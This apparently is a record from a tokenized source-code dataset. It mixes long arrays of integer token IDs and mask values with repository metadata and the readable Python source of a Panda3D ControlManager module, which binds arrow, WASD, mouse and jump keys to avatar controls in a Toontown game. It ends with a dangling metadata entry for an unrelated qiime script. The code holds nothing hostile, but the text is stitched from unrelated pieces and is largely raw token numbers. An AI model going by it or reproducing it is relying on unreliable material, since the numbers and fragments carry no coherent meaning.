3110, 395, 267, 1622, 398, 16951, 63, 5586, 275, 359, 288, 334, 277, 423, 265, 63, 3624, 63, 10589, 12, 1022, 5402, 2390, 2543, 12, 1022, 12500, 24145, 5039, 395, 267, 1622, 398, 327, 13276, 314, 4223, 13, 13062, 8297, 267, 367, 1083, 12, 843, 12, 1566, 315, 8297, 26, 288, 6499, 275, 6763, 2461, 15019, 2115, 8, 765, 9, 288, 291, 423, 7007, 13520, 63, 1430, 63, 5586, 14, 740, 8, 4687, 9, 288, 1536, 80, 275, 9590, 13520, 14, 4665, 2390, 2461, 2160, 48, 8, 4687, 9, 288, 2943, 275, 6763, 804, 5307, 342, 288, 2943, 14, 1430, 2543, 275, 843, 288, 2943, 14, 1430, 13028, 275, 1566, 288, 3016, 63, 1121, 275, 6763, 2461, 2891, 342, 288, 9590, 13520, 14, 8154, 2390, 2461, 8, 355, 1347, 12, 355, 1536, 80, 12, 355, 413, 12, 355, 15968, 8, 1313, 395, 355, 286, 63, 1647, 63, 80, 1062, 355, 15968, 8, 2232, 63, 1121, 430, 288, 291, 423, 7007, 13520, 63, 1430, 63, 2232, 63, 7655, 14, 740, 8, 2232, 63, 1121, 9, 398, 327, 13276, 21257, 1566, 8297, 267, 367, 1083, 12, 843, 12, 1566, 315, 16951, 63, 5586, 26, 288, 6499, 275, 6763, 2461, 15019, 2115, 8, 765, 9, 288, 291, 423, 7007, 13520, 63, 1430, 63, 5586, 14, 740, 8, 4687, 9, 288, 1536, 80, 275, 9590, 13520, 14, 4665, 12500, 2390, 2461, 2160, 48, 8, 4687, 9, 288, 9590, 13520, 14, 12500, 8154, 2390, 2461, 8, 355, 843, 12, 355, 1566, 12, 355, 1536, 80, 12, 355, 378, 12, 355, 756, 9, 339, 347, 485, 265, 63, 1531, 8, 277, 12, 2163, 63, 2232, 12, 8145, 12, 666, 304, 267, 1414, 275, 869, 948, 79, 861, 342, 267, 9590, 13520, 14, 1002, 2390, 4720, 8, 6857, 12, 1022, 2390, 4098, 16281, 1692, 12, 288, 730, 40, 948, 79, 861, 12, 286, 63, 1647, 63, 80, 1062, 13855, 8, 1531, 395, 286, 63, 1647, 63, 80, 1062, 288, 15968, 8, 1531, 430, 398, 340, 1414, 14, 1531, 998, 508, 1022, 40, 948, 79, 861, 24145, 26, 288, 291, 423, 265, 63, 10589, 342, 398, 372, 949, 5432, 339, 347, 485, 265, 63, 10544, 63, 2110, 8, 277, 12, 2163, 63, 2232, 12, 8145, 12, 666, 304, 267, 327, 2670, 367, 12953, 23863, 9793, 267, 3421, 275, 7584, 342, 267, 9590, 13520, 14, 1002, 2390, 4720, 8, 6857, 12, 1022, 2390, 4098, 17141, 6592, 12, 288, 730, 49, 36, 3428, 12, 286, 63, 1647, 63, 80, 1062, 13855, 8, 3124, 395, 286, 63, 1647, 63, 80, 1062, 288, 15968, 8, 3124, 430, 267, 340, 9590, 13520, 14, 6591, 4301, 8, 3124, 12, 488, 9, 508, 315, 5977, 5281, 26, 288, 327, 603, 7130, 3224, 315, 6269, 4681, 14, 221, 18281, 5446, 342, 6181, 10296, 402, 1006, 288, 327, 6269, 15161, 436, 5664, 5133, 314, 6269, 365, 2153, 1292, 939, 14, 288, 327, 3645, 1414, 4474, 370, 2429, 3503, 6269, 1242, 4572, 745, 1298, 14, 953, 327, 961, 805, 5664, 12, 880, 11480, 314, 1566, 4438, 652, 4839, 370, 3907, 288, 327, 282, 9715, 14, 288, 1145, 14, 1430, 63, 3813, 14, 4200, 63, 13091, 342, 288, 9590, 13520, 14, 5977, 5446, 8, 3124, 9, 288, 1145, 14, 1430, 63, 3813, 14, 2224, 63, 13091, 342, 953, 327, 18281, 7267, 965, 3063, 2138, 14, 221, 5852, 11850, 687, 314, 288, 327, 12953, 23863, 14, 288, 9590, 13520, 14, 40, 1638, 266, 5977, 8, 16, 9, 398, 9590, 13520, 14, 2176, 5765, 2390, 2461, 8, 2184, 63, 2232, 12, 8145, 9, 267, 372, 949, 5432, 339, 347, 485, 265, 63, 12820, 63, 1430, 8, 277, 12, 2163, 63, 2232, 12, 8145, 12, 666, 304, 267, 327, 6601, 10058, 28244, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ToonTownInfiniteRepo/ToontownInfinite
Panda3D-1.9.0/direct/controls/ControlManager.py
11
14176
from direct.showbase.InputStateGlobal import inputState #from DirectGui import * #from PythonUtil import * #from IntervalGlobal import * #from otp.avatar import Avatar from direct.directnotify import DirectNotifyGlobal #import GhostWalker #import GravityWalker #import NonPhysicsWalker #import PhysicsWalker #if __debug__: # import DevWalker from direct.task import Task CollisionHandlerRayStart = 4000.0 # This is a hack, it may be better to use a line instead of a ray. class ControlManager: notify = DirectNotifyGlobal.directNotify.newCategory("ControlManager") wantAvatarPhysicsIndicator = config.GetBool('want-avatar-physics-indicator', 0) wantAvatarPhysicsDebug = config.GetBool('want-avatar-physics-debug', 0) wantWASD = config.GetBool('want-WASD', 0) def __init__(self, enable=True, passMessagesThrough = False): assert self.notify.debug("init control manager %s" % (passMessagesThrough)) assert self.notify.debugCall(id(self)) self.passMessagesThrough = passMessagesThrough self.inputStateTokens = [] # Used to switch between strafe and turn. We will reset to whatever was last set. self.WASDTurnTokens = [] self.__WASDTurn = True self.controls = {} self.currentControls = None self.currentControlsName = None self.isEnabled = 0 if enable: self.enable() #self.monitorTask = taskMgr.add(self.monitor, "ControlManager-%s"%(id(self)), priority=-1) self.forceAvJumpToken = None if self.passMessagesThrough: # for not breaking toontown ist=self.inputStateTokens ist.append(inputState.watchWithModifiers("forward", "arrow_up", inputSource=inputState.ArrowKeys)) ist.append(inputState.watchWithModifiers("reverse", "arrow_down", inputSource=inputState.ArrowKeys)) ist.append(inputState.watchWithModifiers("turnLeft", "arrow_left", inputSource=inputState.ArrowKeys)) ist.append(inputState.watchWithModifiers("turnRight", "arrow_right", inputSource=inputState.ArrowKeys)) def __str__(self): return 'ControlManager: using \'%s\'' % self.currentControlsName def add(self, controls, name="basic"): """ controls is an avatar control system. name is any key that you want to use to refer to the the controls later (e.g. using the use(<name>) call). Add a control instance to the list of available control systems. See also: use(). """ assert self.notify.debugCall(id(self)) assert controls is not None oldControls = self.controls.get(name) if oldControls is not None: assert self.notify.debug("Replacing controls: %s" % name) oldControls.disableAvatarControls() oldControls.setCollisionsActive(0) oldControls.delete() controls.disableAvatarControls() controls.setCollisionsActive(0) self.controls[name] = controls def get(self, name): return self.controls.get(name) def remove(self, name): """ name is any key that was used to refer to the the controls when they were added (e.g. using the add(<controls>, <name>) call). Remove a control instance from the list of available control systems. See also: add(). """ assert self.notify.debugCall(id(self)) oldControls = self.controls.pop(name,None) if oldControls is not None: assert self.notify.debug("Removing controls: %s" % name) oldControls.disableAvatarControls() oldControls.setCollisionsActive(0) if __debug__: def lockControls(self): self.ignoreUse=True def unlockControls(self): if hasattr(self, "ignoreUse"): del self.ignoreUse def use(self, name, avatar): """ name is a key (string) that was previously passed to add(). Use a previously added control system. See also: add(). """ assert self.notify.debugCall(id(self)) if __debug__ and hasattr(self, "ignoreUse"): return controls = self.controls.get(name) if controls is not None: if controls is not self.currentControls: if self.currentControls is not None: self.currentControls.disableAvatarControls() self.currentControls.setCollisionsActive(0) self.currentControls.setAvatar(None) self.currentControls = controls self.currentControlsName = name self.currentControls.setAvatar(avatar) self.currentControls.setCollisionsActive(1) if self.isEnabled: self.currentControls.enableAvatarControls() messenger.send('use-%s-controls'%(name,), [avatar]) #else: # print "Controls are already", name else: assert self.notify.debug("Unkown controls: %s" % name) def setSpeeds(self, forwardSpeed, jumpForce, reverseSpeed, rotateSpeed, strafeLeft=0, strafeRight=0): assert self.notify.debugCall(id(self)) for controls in self.controls.values(): controls.setWalkSpeed( forwardSpeed, jumpForce, reverseSpeed, rotateSpeed) def delete(self): assert self.notify.debugCall(id(self)) self.disable() for controls in self.controls.keys(): self.remove(controls) del self.controls del self.currentControls for token in self.inputStateTokens: token.release() for token in self.WASDTurnTokens: token.release() self.WASDTurnTokens = [] #self.monitorTask.remove() def getSpeeds(self): if self.currentControls: return self.currentControls.getSpeeds() return None def getIsAirborne(self): if self.currentControls: return self.currentControls.getIsAirborne() return False def setTag(self, key, value): assert self.notify.debugCall(id(self)) for controls in self.controls.values(): controls.setTag(key, value) def deleteCollisions(self): assert self.notify.debugCall(id(self)) for controls in self.controls.values(): controls.deleteCollisions() def collisionsOn(self): assert self.notify.debugCall(id(self)) if self.currentControls: self.currentControls.setCollisionsActive(1) def collisionsOff(self): assert self.notify.debugCall(id(self)) if self.currentControls: self.currentControls.setCollisionsActive(0) def placeOnFloor(self): assert self.notify.debugCall(id(self)) if self.currentControls: self.currentControls.placeOnFloor() def enable(self): assert self.notify.debugCall(id(self)) if self.isEnabled: assert self.notify.debug('already isEnabled') return self.isEnabled = 1 # keep track of what we do on the inputState so we can undo it later on #self.inputStateTokens = [] ist = self.inputStateTokens ist.append(inputState.watch("run", 'runningEvent', "running-on", "running-off")) ist.append(inputState.watchWithModifiers("forward", "arrow_up", inputSource=inputState.ArrowKeys)) ist.append(inputState.watch("forward", "force-forward", "force-forward-stop")) ist.append(inputState.watchWithModifiers("reverse", "arrow_down", inputSource=inputState.ArrowKeys)) ist.append(inputState.watchWithModifiers("reverse", "mouse4", inputSource=inputState.Mouse)) if self.wantWASD: ist.append(inputState.watchWithModifiers("turnLeft", "arrow_left", inputSource=inputState.ArrowKeys)) ist.append(inputState.watch("turnLeft", "mouse-look_left", "mouse-look_left-done")) ist.append(inputState.watch("turnLeft", "force-turnLeft", "force-turnLeft-stop")) ist.append(inputState.watchWithModifiers("turnRight", "arrow_right", inputSource=inputState.ArrowKeys)) ist.append(inputState.watch("turnRight", "mouse-look_right", "mouse-look_right-done")) ist.append(inputState.watch("turnRight", "force-turnRight", "force-turnRight-stop")) ist.append(inputState.watchWithModifiers("forward", "w", inputSource=inputState.WASD)) ist.append(inputState.watchWithModifiers("reverse", "s", inputSource=inputState.WASD)) ist.append(inputState.watchWithModifiers("slideLeft", "q", inputSource=inputState.QE)) ist.append(inputState.watchWithModifiers("slideRight", "e", inputSource=inputState.QE)) self.setWASDTurn(self.__WASDTurn) else: ist.append(inputState.watchWithModifiers("turnLeft", "arrow_left", inputSource=inputState.ArrowKeys)) ist.append(inputState.watch("turnLeft", "mouse-look_left", "mouse-look_left-done")) ist.append(inputState.watch("turnLeft", "force-turnLeft", "force-turnLeft-stop")) ist.append(inputState.watchWithModifiers("turnRight", "arrow_right", inputSource=inputState.ArrowKeys)) ist.append(inputState.watch("turnRight", "mouse-look_right", "mouse-look_right-done")) ist.append(inputState.watch("turnRight", "force-turnRight", "force-turnRight-stop")) # Jump controls if self.wantWASD: ist.append(inputState.watchWithModifiers("jump", "space")) else: ist.append(inputState.watch("jump", "control", "control-up")) if self.currentControls: self.currentControls.enableAvatarControls() def disable(self): assert self.notify.debugCall(id(self)) self.isEnabled = 0 for token in self.inputStateTokens: token.release() self.inputStateTokens = [] for token in self.WASDTurnTokens: token.release() self.WASDTurnTokens = [] if self.currentControls: self.currentControls.disableAvatarControls() if self.passMessagesThrough: # for not breaking toontown ist=self.inputStateTokens ist.append(inputState.watchWithModifiers("forward", "arrow_up", inputSource=inputState.ArrowKeys)) ist.append(inputState.watchWithModifiers("reverse", "arrow_down", inputSource=inputState.ArrowKeys)) ist.append(inputState.watchWithModifiers("turnLeft", "arrow_left", inputSource=inputState.ArrowKeys)) ist.append(inputState.watchWithModifiers("turnRight", "arrow_right", inputSource=inputState.ArrowKeys)) def stop(self): self.disable() if self.currentControls: self.currentControls.setCollisionsActive(0) self.currentControls.setAvatar(None) self.currentControls = None def disableAvatarJump(self): """ prevent """ assert self.forceAvJumpToken is None self.forceAvJumpToken=inputState.force( "jump", 0, 'ControlManager.disableAvatarJump') def enableAvatarJump(self): """ Stop forcing the ctrl key to return 0's """ assert self.forceAvJumpToken is not None self.forceAvJumpToken.release() self.forceAvJumpToken = None def monitor(self, foo): #assert self.debugPrint("monitor()") #if 1: # airborneHeight=self.avatar.getAirborneHeight() # onScreenDebug.add("airborneHeight", "% 10.4f"%(airborneHeight,)) if 0: onScreenDebug.add("InputState forward", "%d"%(inputState.isSet("forward"))) onScreenDebug.add("InputState reverse", "%d"%(inputState.isSet("reverse"))) onScreenDebug.add("InputState turnLeft", "%d"%(inputState.isSet("turnLeft"))) onScreenDebug.add("InputState turnRight", "%d"%(inputState.isSet("turnRight"))) onScreenDebug.add("InputState slideLeft", "%d"%(inputState.isSet("slideLeft"))) onScreenDebug.add("InputState slideRight", "%d"%(inputState.isSet("slideRight"))) return Task.cont def setWASDTurn(self, turn): self.__WASDTurn = turn if not self.isEnabled: return turnLeftWASDSet = inputState.isSet("turnLeft", inputSource=inputState.WASD) turnRightWASDSet = inputState.isSet("turnRight", inputSource=inputState.WASD) slideLeftWASDSet = inputState.isSet("slideLeft", inputSource=inputState.WASD) slideRightWASDSet = inputState.isSet("slideRight", inputSource=inputState.WASD) for token in self.WASDTurnTokens: token.release() if turn: self.WASDTurnTokens = ( inputState.watchWithModifiers("turnLeft", "a", inputSource=inputState.WASD), inputState.watchWithModifiers("turnRight", "d", inputSource=inputState.WASD), ) inputState.set("turnLeft", slideLeftWASDSet, inputSource=inputState.WASD) inputState.set("turnRight", slideRightWASDSet, inputSource=inputState.WASD) inputState.set("slideLeft", False, inputSource=inputState.WASD) inputState.set("slideRight", False, inputSource=inputState.WASD) else: self.WASDTurnTokens = ( inputState.watchWithModifiers("slideLeft", "a", inputSource=inputState.WASD), inputState.watchWithModifiers("slideRight", "d", inputSource=inputState.WASD), ) inputState.set("slideLeft", turnLeftWASDSet, inputSource=inputState.WASD) inputState.set("slideRight", turnRightWASDSet, inputSource=inputState.WASD) inputState.set("turnLeft", False, inputSource=inputState.WASD) inputState.set("turnRight", False, inputSource=inputState.WASD)
mit
[ 199, 504, 4125, 14, 2384, 1095, 14, 3205, 2223, 7025, 492, 1324, 2223, 199, 3, 504, 21128, 4324, 492, 627, 199, 3, 504, 2018, 9562, 492, 627, 199, 3, 504, 18766, 7025, 492, 627, 199, 199, 3, 504, 312, 683, 14, 14584, 492, 16599, 8535, 199, 504, 4125, 14, 2275, 6814, 492, 21128, 8645, 7025, 199, 3, 646, 598, 1102, 26020, 199, 3, 646, 10268, 18936, 26020, 199, 3, 646, 10172, 6678, 17378, 26020, 199, 3, 646, 24309, 17378, 26020, 199, 3, 692, 636, 1757, 10651, 199, 3, 259, 492, 29314, 26020, 199, 504, 4125, 14, 1765, 492, 8495, 199, 2001, 23656, 2461, 25474, 3162, 275, 31092, 14, 16, 327, 961, 365, 282, 11176, 12, 652, 1443, 506, 8034, 370, 675, 282, 1004, 3140, 402, 282, 22059, 14, 199, 199, 533, 8612, 2988, 26, 272, 11705, 275, 21128, 8645, 7025, 14, 2275, 8645, 14, 1222, 7841, 480, 3717, 2988, 531, 272, 2934, 24916, 6678, 17378, 24000, 275, 1101, 14, 1002, 10349, 360, 7051, 13, 14584, 13, 24724, 13, 15785, 297, 378, 9, 272, 2934, 24916, 6678, 17378, 7084, 275, 1101, 14, 1002, 10349, 360, 7051, 13, 14584, 13, 24724, 13, 1757, 297, 378, 9, 272, 2934, 55, 1179, 36, 275, 1101, 14, 1002, 10349, 360, 7051, 13, 55, 1179, 36, 297, 378, 9, 339, 347, 636, 826, 721, 277, 12, 4756, 29, 549, 12, 986, 14508, 26732, 275, 756, 304, 267, 702, 291, 14, 6814, 14, 1757, 480, 826, 3304, 5256, 450, 83, 2, 450, 334, 1529, 14508, 26732, 430, 267, 702, 291, 14, 6814, 14, 1757, 2176, 8, 344, 8, 277, 430, 267, 291, 14, 1529, 14508, 26732, 275, 986, 14508, 26732, 267, 291, 14, 1210, 2223, 16419, 275, 942, 267, 327, 8051, 370, 6258, 3382, 20370, 771, 436, 7485, 14, 2136, 911, 5305, 370, 15685, 1990, 2061, 663, 14, 267, 291, 14, 55, 1179, 7438, 349, 16419, 275, 942, 267, 291, 855, 55, 1179, 7438, 349, 275, 715, 267, 291, 14, 13658, 275, 1052, 267, 291, 14, 1818, 25457, 275, 488, 267, 291, 14, 1818, 25457, 985, 275, 488, 267, 291, 14, 374, 6589, 275, 378, 267, 340, 4756, 26, 288, 291, 14, 4296, 342, 267, 327, 277, 14, 7157, 4476, 275, 2120, 20752, 14, 525, 8, 277, 14, 7157, 12, 298, 3717, 2988, 3295, 83, 14007, 344, 8, 277, 1826, 7464, 4022, 17, 9, 267, 291, 14, 3990, 6651, 42, 1220, 3264, 275, 488, 268, 30712, 340, 291, 14, 1529, 14508, 26732, 26, 327, 367, 440, 27485, 370, 265, 16231, 288, 284, 270, 29, 277, 14, 1210, 2223, 16419, 288, 284, 270, 14, 740, 8, 1210, 2223, 14, 6821, 3007, 7469, 6069, 480, 6688, 401, 298, 7691, 63, 384, 401, 1324, 2980, 29, 1210, 2223, 14, 17234, 6340, 430, 288, 284, 270, 14, 740, 8, 1210, 2223, 14, 6821, 3007, 7469, 6069, 480, 4471, 401, 298, 7691, 63, 2110, 401, 1324, 2980, 29, 1210, 2223, 14, 17234, 6340, 430, 288, 284, 270, 14, 740, 8, 1210, 2223, 14, 6821, 3007, 7469, 6069, 480, 353, 8185, 401, 298, 7691, 63, 3039, 401, 1324, 2980, 29, 1210, 2223, 14, 17234, 6340, 430, 288, 284, 270, 14, 740, 8, 1210, 2223, 14, 6821, 3007, 7469, 6069, 480, 353, 9121, 401, 298, 7691, 63, 1019, 401, 1324, 2980, 29, 1210, 2223, 14, 17234, 6340, 430, 2378, 347, 636, 495, 721, 277, 304, 267, 372, 283, 3717, 2988, 26, 1808, 19095, 83, 60, 891, 450, 291, 14, 1818, 25457, 985, 2286, 347, 1050, 8, 277, 12, 13467, 12, 536, 628, 4316, 2349, 267, 408, 267, 13467, 365, 376, 20913, 3304, 2656, 14, 267, 536, 365, 1263, 790, 626, 1265, 2934, 370, 675, 370, 10618, 370, 314, 288, 314, 13467, 2945, 334, 69, 14, 71, 14, 1808, 314, 675, 27530, 354, 18956, 1240, 680, 398, 2654, 282, 3304, 1256, 370, 314, 769, 402, 2808, 3304, 10460, 14, 398, 1666, 2597, 26, 675, 1252, 267, 408, 267, 702, 291, 14, 6814, 14, 1757, 2176, 8, 344, 8, 277, 430, 267, 702, 13467, 365, 440, 488, 267, 2269, 25457, 275, 291, 14, 13658, 14, 362, 8, 354, 9, 267, 340, 2269, 25457, 365, 440, 488, 26, 288, 702, 291, 14, 6814, 14, 1757, 480, 6875, 13121, 13467, 26, 450, 83, 2, 450, 536, 9, 288, 2269, 25457, 14, 5993, 24916, 25457, 342, 288, 2269, 25457, 14, 409, 2001, 317, 1356, 7472, 8, 16, 9, 288, 2269, 25457, 14, 1807, 342, 267, 13467, 14, 5993, 24916, 25457, 342, 267, 13467, 14, 409, 2001, 317, 1356, 7472, 8, 16, 9, 267, 291, 14, 13658, 59, 354, 61, 275, 13467, 339, 347, 664, 8, 277, 12, 536, 304, 267, 372, 291, 14, 13658, 14, 362, 8, 354, 9, 5493, 347, 2813, 8, 277, 12, 536, 304, 267, 408, 267, 536, 365, 1263, 790, 626, 1990, 1202, 370, 10618, 370, 314, 288, 314, 13467, 1380, 2985, 4898, 3483, 334, 69, 14, 71, 14, 288, 1808, 314, 1050, 27530, 13658, 6244, 665, 354, 18956, 1240, 680, 398, 5852, 282, 3304, 1256, 687, 314, 769, 402, 267, 2808, 3304, 10460, 14, 398, 1666, 2597, 26, 1050, 1252, 267, 408, 267, 702, 291, 14, 6814, 14, 1757, 2176, 8, 344, 8, 277, 430, 267, 2269, 25457, 275, 291, 14, 13658, 14, 1935, 8, 354, 12, 403, 9, 267, 340, 2269, 25457, 365, 440, 488, 26, 288, 702, 291, 14, 6814, 14, 1757, 480, 23420, 13467, 26, 450, 83, 2, 450, 536, 9, 288, 2269, 25457, 14, 5993, 24916, 25457, 342, 288, 2269, 25457, 14, 409, 2001, 317, 1356, 7472, 8, 16, 9, 339, 340, 636, 1757, 10651, 267, 347, 4650, 25457, 8, 277, 304, 288, 291, 14, 4247, 6119, 29, 549, 398, 347, 28451, 25457, 8, 277, 304, 288, 340, 2688, 8, 277, 12, 298, 4247, 6119, 2349, 355, 2150, 291, 14, 4247, 6119, 339, 347, 675, 8, 277, 12, 536, 12, 20913, 304, 267, 408, 267, 536, 365, 282, 790, 334, 875, 9, 626, 1990, 10889, 3032, 370, 1050, 1252, 398, 3645, 282, 10889, 3483, 3304, 2656, 14, 398, 1666, 2597, 26, 1050, 1252, 267, 408, 267, 702, 291, 14, 6814, 14, 1757, 2176, 8, 344, 8, 277, 430, 267, 340, 636, 1757, 363, 436, 2688, 8, 277, 12, 298, 4247, 6119, 2349, 288, 372 ]
[ 504, 4125, 14, 2384, 1095, 14, 3205, 2223, 7025, 492, 1324, 2223, 199, 3, 504, 21128, 4324, 492, 627, 199, 3, 504, 2018, 9562, 492, 627, 199, 3, 504, 18766, 7025, 492, 627, 199, 199, 3, 504, 312, 683, 14, 14584, 492, 16599, 8535, 199, 504, 4125, 14, 2275, 6814, 492, 21128, 8645, 7025, 199, 3, 646, 598, 1102, 26020, 199, 3, 646, 10268, 18936, 26020, 199, 3, 646, 10172, 6678, 17378, 26020, 199, 3, 646, 24309, 17378, 26020, 199, 3, 692, 636, 1757, 10651, 199, 3, 259, 492, 29314, 26020, 199, 504, 4125, 14, 1765, 492, 8495, 199, 2001, 23656, 2461, 25474, 3162, 275, 31092, 14, 16, 327, 961, 365, 282, 11176, 12, 652, 1443, 506, 8034, 370, 675, 282, 1004, 3140, 402, 282, 22059, 14, 199, 199, 533, 8612, 2988, 26, 272, 11705, 275, 21128, 8645, 7025, 14, 2275, 8645, 14, 1222, 7841, 480, 3717, 2988, 531, 272, 2934, 24916, 6678, 17378, 24000, 275, 1101, 14, 1002, 10349, 360, 7051, 13, 14584, 13, 24724, 13, 15785, 297, 378, 9, 272, 2934, 24916, 6678, 17378, 7084, 275, 1101, 14, 1002, 10349, 360, 7051, 13, 14584, 13, 24724, 13, 1757, 297, 378, 9, 272, 2934, 55, 1179, 36, 275, 1101, 14, 1002, 10349, 360, 7051, 13, 55, 1179, 36, 297, 378, 9, 339, 347, 636, 826, 721, 277, 12, 4756, 29, 549, 12, 986, 14508, 26732, 275, 756, 304, 267, 702, 291, 14, 6814, 14, 1757, 480, 826, 3304, 5256, 450, 83, 2, 450, 334, 1529, 14508, 26732, 430, 267, 702, 291, 14, 6814, 14, 1757, 2176, 8, 344, 8, 277, 430, 267, 291, 14, 1529, 14508, 26732, 275, 986, 14508, 26732, 267, 291, 14, 1210, 2223, 16419, 275, 942, 267, 327, 8051, 370, 6258, 3382, 20370, 771, 436, 7485, 14, 2136, 911, 5305, 370, 15685, 1990, 2061, 663, 14, 267, 291, 14, 55, 1179, 7438, 349, 16419, 275, 942, 267, 291, 855, 55, 1179, 7438, 349, 275, 715, 267, 291, 14, 13658, 275, 1052, 267, 291, 14, 1818, 25457, 275, 488, 267, 291, 14, 1818, 25457, 985, 275, 488, 267, 291, 14, 374, 6589, 275, 378, 267, 340, 4756, 26, 288, 291, 14, 4296, 342, 267, 327, 277, 14, 7157, 4476, 275, 2120, 20752, 14, 525, 8, 277, 14, 7157, 12, 298, 3717, 2988, 3295, 83, 14007, 344, 8, 277, 1826, 7464, 4022, 17, 9, 267, 291, 14, 3990, 6651, 42, 1220, 3264, 275, 488, 268, 30712, 340, 291, 14, 1529, 14508, 26732, 26, 327, 367, 440, 27485, 370, 265, 16231, 288, 284, 270, 29, 277, 14, 1210, 2223, 16419, 288, 284, 270, 14, 740, 8, 1210, 2223, 14, 6821, 3007, 7469, 6069, 480, 6688, 401, 298, 7691, 63, 384, 401, 1324, 2980, 29, 1210, 2223, 14, 17234, 6340, 430, 288, 284, 270, 14, 740, 8, 1210, 2223, 14, 6821, 3007, 7469, 6069, 480, 4471, 401, 298, 7691, 63, 2110, 401, 1324, 2980, 29, 1210, 2223, 14, 17234, 6340, 430, 288, 284, 270, 14, 740, 8, 1210, 2223, 14, 6821, 3007, 7469, 6069, 480, 353, 8185, 401, 298, 7691, 63, 3039, 401, 1324, 2980, 29, 1210, 2223, 14, 17234, 6340, 430, 288, 284, 270, 14, 740, 8, 1210, 2223, 14, 6821, 3007, 7469, 6069, 480, 353, 9121, 401, 298, 7691, 63, 1019, 401, 1324, 2980, 29, 1210, 2223, 14, 17234, 6340, 430, 2378, 347, 636, 495, 721, 277, 304, 267, 372, 283, 3717, 2988, 26, 1808, 19095, 83, 60, 891, 450, 291, 14, 1818, 25457, 985, 2286, 347, 1050, 8, 277, 12, 13467, 12, 536, 628, 4316, 2349, 267, 408, 267, 13467, 365, 376, 20913, 3304, 2656, 14, 267, 536, 365, 1263, 790, 626, 1265, 2934, 370, 675, 370, 10618, 370, 314, 288, 314, 13467, 2945, 334, 69, 14, 71, 14, 1808, 314, 675, 27530, 354, 18956, 1240, 680, 398, 2654, 282, 3304, 1256, 370, 314, 769, 402, 2808, 3304, 10460, 14, 398, 1666, 2597, 26, 675, 1252, 267, 408, 267, 702, 291, 14, 6814, 14, 1757, 2176, 8, 344, 8, 277, 430, 267, 702, 13467, 365, 440, 488, 267, 2269, 25457, 275, 291, 14, 13658, 14, 362, 8, 354, 9, 267, 340, 2269, 25457, 365, 440, 488, 26, 288, 702, 291, 14, 6814, 14, 1757, 480, 6875, 13121, 13467, 26, 450, 83, 2, 450, 536, 9, 288, 2269, 25457, 14, 5993, 24916, 25457, 342, 288, 2269, 25457, 14, 409, 2001, 317, 1356, 7472, 8, 16, 9, 288, 2269, 25457, 14, 1807, 342, 267, 13467, 14, 5993, 24916, 25457, 342, 267, 13467, 14, 409, 2001, 317, 1356, 7472, 8, 16, 9, 267, 291, 14, 13658, 59, 354, 61, 275, 13467, 339, 347, 664, 8, 277, 12, 536, 304, 267, 372, 291, 14, 13658, 14, 362, 8, 354, 9, 5493, 347, 2813, 8, 277, 12, 536, 304, 267, 408, 267, 536, 365, 1263, 790, 626, 1990, 1202, 370, 10618, 370, 314, 288, 314, 13467, 1380, 2985, 4898, 3483, 334, 69, 14, 71, 14, 288, 1808, 314, 1050, 27530, 13658, 6244, 665, 354, 18956, 1240, 680, 398, 5852, 282, 3304, 1256, 687, 314, 769, 402, 267, 2808, 3304, 10460, 14, 398, 1666, 2597, 26, 1050, 1252, 267, 408, 267, 702, 291, 14, 6814, 14, 1757, 2176, 8, 344, 8, 277, 430, 267, 2269, 25457, 275, 291, 14, 13658, 14, 1935, 8, 354, 12, 403, 9, 267, 340, 2269, 25457, 365, 440, 488, 26, 288, 702, 291, 14, 6814, 14, 1757, 480, 23420, 13467, 26, 450, 83, 2, 450, 536, 9, 288, 2269, 25457, 14, 5993, 24916, 25457, 342, 288, 2269, 25457, 14, 409, 2001, 317, 1356, 7472, 8, 16, 9, 339, 340, 636, 1757, 10651, 267, 347, 4650, 25457, 8, 277, 304, 288, 291, 14, 4247, 6119, 29, 549, 398, 347, 28451, 25457, 8, 277, 304, 288, 340, 2688, 8, 277, 12, 298, 4247, 6119, 2349, 355, 2150, 291, 14, 4247, 6119, 339, 347, 675, 8, 277, 12, 536, 12, 20913, 304, 267, 408, 267, 536, 365, 282, 790, 334, 875, 9, 626, 1990, 10889, 3032, 370, 1050, 1252, 398, 3645, 282, 10889, 3483, 3304, 2656, 14, 398, 1666, 2597, 26, 1050, 1252, 267, 408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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
wasade/qiime
scripts/ampliconnoise.py
1
7975
